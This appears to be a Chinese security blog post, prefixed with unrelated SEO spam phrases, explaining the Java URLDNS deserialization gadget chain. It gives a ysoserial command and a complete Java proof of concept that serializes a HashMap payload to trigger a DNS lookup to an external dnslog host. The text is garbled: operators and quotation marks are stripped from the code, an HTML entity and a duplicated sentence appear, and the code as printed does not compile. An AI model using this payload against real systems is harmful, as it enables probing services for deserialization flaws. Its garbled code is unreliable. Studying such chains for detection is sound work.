做词频分析的网站,淘宝请人做网站被骗,玉树州网站建设公司,网站建设方案计划书人员规划文章目录 [java安全]URLDNS前言HashMapURLURLStreamHandler调用过程调用链流程图POC [java安全]URLDNS
前言
URLDNS利用链是一条很简单的链子#xff0c;可以用来查看java反序列化是否存在反序列化漏洞#xff0c;如果存在#xff0c;就会触发dns查询请求
它有如下优点可以用来查看java反序列化是否存在反序列化漏洞如果存在就会触发dns查询请求
它有如下优点 使用java内置类构造对第三方库没有依赖 在目标没有回显的时候可以使用DNS请求得知是否存在反序列化漏洞 在ysoserial下生成URLDNS的命令为
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn在学习URLDNS之前我们需要了解一些java内置的类
HashMap
在HashMap的类中有readObject()方法 我们知道如果一个类重写了readObject()方法那么在反序列化时就会执行重写的readObject()方法 private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();...// Read the keys and values, and put the mappings in the HashMapfor (int i 0; i mappings; i) {SuppressWarnings(unchecked)K key (K) s.readObject();SuppressWarnings(unchecked)V value (V) s.readObject();putVal(hash(key), key, value, false, false);}}}在HashMap的readObject()方法中调用了hash()方法于是我们过去hash方法中看一下
static final int hash(Object key) {int h;return (key null) ? 0 : (h key.hashCode()) ^ (h 16);}发现调用了key变量的hashCode()方法这里的key是可以控制的
这里我们就知道需要一个新的类了
URL
在 java.net.URL类中存在一个hashCode方法
public synchronized int hashCode() {if (hashCode ! -1)return hashCode;hashCode handler.hashCode(this);return hashCode;}hashCode变量初值为-1
private int hashCode -1;当hashCode变量不等于-1时就会return结束函数
当hashCode-1会调用 handler的hashCode方法参数是URL类的对象
然后我们查看一下handler类是什么类型
transient URLStreamHandler handler;发现是URLStreamHandler类于是我们再查看一下该类
URLStreamHandler
hashCode方法
protected int hashCode(URL u) {int h 0;// Generate the protocol part.String protocol u.getProtocol();if (protocol ! null)h protocol.hashCode();// Generate the host part.InetAddress addr getHostAddress(u);...}发现调用了getHostAddress()参数为URL类对象查看一下 getHostAddress()方法
protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress ! null)return u.hostAddress;String host u.getHost();if (host null || host.equals()) {return null;} else {try {u.hostAddress InetAddress.getByName(host);} catch (UnknownHostException ex) {return null;} catch (SecurityException se) {return null;}}return u.hostAddress;}这个方法中有一个函数调用InetAddress.getByName(host)获取目标主机的ip地址其实就是进行了一次DNS查询
调用过程
我们捋一下过程
我们可以先创建一个HashMap对象然后让键的类型为URL例如
HashMapURL, String hashMap new HashMapURL, String();然后创建一个URL类对象参数我们传入DNS平台的url即可
这里有一些很重要的注意点
如何我们直接调用Map的put()将HashMap中添加一个元素可能会导致误触URL请求
我们看一下HashMap的put()方法 :
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}发现put方法也会调用hash()方法所以我们需要想办法避免触发
我们想到URL类中的hashCode变量初值为-1当值为-1时URL类中的hashCode()方法会return返回所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可
如何才能设置hashCode等于其他值呢
我们需要使用java反射
Field f Class.forName(java.net.URL).getDeclaredField(hashCode); //使用内部方法
f.setAccessible(true); //hashCode是私有变量所以要设置访问权限
// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url, 0xAAA);添加到HashMap中之后我们需要使用反射把hashCode-1
调用链
HashMap.readObject()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()流程图 POC
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {public static Object urldns() throws Exception{//漏洞出发点 hashmap实例化出来HashMapURL, String hashMap new HashMapURL, String(); //URL对象传入自己测试的dnslogURL url new URL(http://txbjb7.dnslog.cn); //反射获取 URL的hashcode方法Field f Class.forName(java.net.URL).getDeclaredField(hashCode); //使用内部方法f.setAccessible(true);// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆f.set(url, 0xAAA);hashMap.put(url, leekos);// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCodef.set(url, -1);// 序列化成对象输出出来return hashMap;}public static void main(String[] args) throws Exception {payload2File(urldns(),obj);payloadTest(obj);}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload并进行反序列化ObjectInputStream in new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}